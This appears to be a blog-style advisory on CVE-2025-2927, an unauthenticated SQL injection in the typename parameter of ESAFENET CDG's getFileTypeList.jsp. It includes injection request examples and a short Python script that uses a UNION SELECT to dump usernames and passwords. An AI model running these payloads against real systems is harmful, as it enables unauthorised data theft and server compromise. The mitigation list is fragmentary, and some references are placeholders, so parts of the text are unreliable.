Recently, a dangerous security flaw – CVE-2025-2927 – was discovered in the ESAFENET CDG version 5.6.3.154.205. This vulnerability is critical and allows remote attackers to compromise the system using a straightforward SQL Injection attack. Although the vendor was notified, they failed to respond, leaving systems exposed. Here’s a plain-English breakdown, with example exploit code and references for those who want to dig deeper.
What is ESAFENET CDG?
ESAFENET CDG is a commercial data governance platform used by organizations to manage, monitor, and control data access. Because it often holds sensitive data, a vulnerability in its system can have serious consequences.
Component: ESAFENET CDG 5.6.3.154.205
- Affected Endpoint: /parameter/getFileTypeList.jsp
Vendor Response: No response
This means that malicious users can manipulate the typename parameter at the above endpoint with crafted SQL payloads, making it possible to read, write, or delete sensitive data in the database – or even completely compromise the server.
When the application receives a request like this
GET http://<target>/parameter/getFileTypeList.jsp?typename=example
It seems to include the value of typename inside an SQL query *without* proper filtering or escaping.
An attacker can submit crafted SQL code like
GET http://<target>/parameter/getFileTypeList.jsp?typename='; OR 1=1--
If the system is vulnerable, this query manipulates what the database will do — for example, always returning a valid response or dumping entire tables. It can be weaponized to extract database secrets, create new admin users, or destroy data.
Simple Exploit Example
Below is a sample Python script using the requests library to exploit CVE-2025-2927 and try leaking user data:
import requests
target = 'http://TARGET_IP_OR_DOMAIN'; # Replace with actual target
endpoint = '/parameter/getFileTypeList.jsp'
payload = "' UNION SELECT username,password FROM users--"
params = {'typename': payload}
url = target + endpoint
resp = requests.get(url, params=params)
if resp.status_code == 200:
print("Vulnerable! Response:\n", resp.text)
else:
print("Request failed, check the target or parameters.")
Note: Replace TARGET_IP_OR_DOMAIN with the actual server address.
Attackers can escalate their access and take over the server.
All of this can be done without authenticating, *from anywhere on the Internet*, as long as the vulnerable service is exposed.
Implement web application firewalls (WAF) to block suspicious typename parameter values.
3. Regularly review logs for unusual activity targeting /parameter/getFileTypeList.jsp.
References
- NVD - CVE-2025-2927 *(Listing as it becomes available)*
- Exploit Details on ExploitDB *(Search for CVE-2025-2927 as soon as it’s published)*
- OWASP SQL Injection Guide
Conclusion
CVE-2025-2927 is a serious, easy-to-exploit SQL Injection bug in ESAFENET CDG. Exploits are available, and the vendor did not respond to early warnings, making it essential for administrators to act fast: *audit your systems, restrict access, and deploy defenses* until a fix is released. Never leave critical software open to the Internet without proper patching and monitoring.
If you use ESAFENET CDG 5.6.3.154.205, take this threat seriously!
Timeline
Published on: 03/28/2025 21:15:18 UTC
Last modified on: 04/14/2025 17:09:19 UTC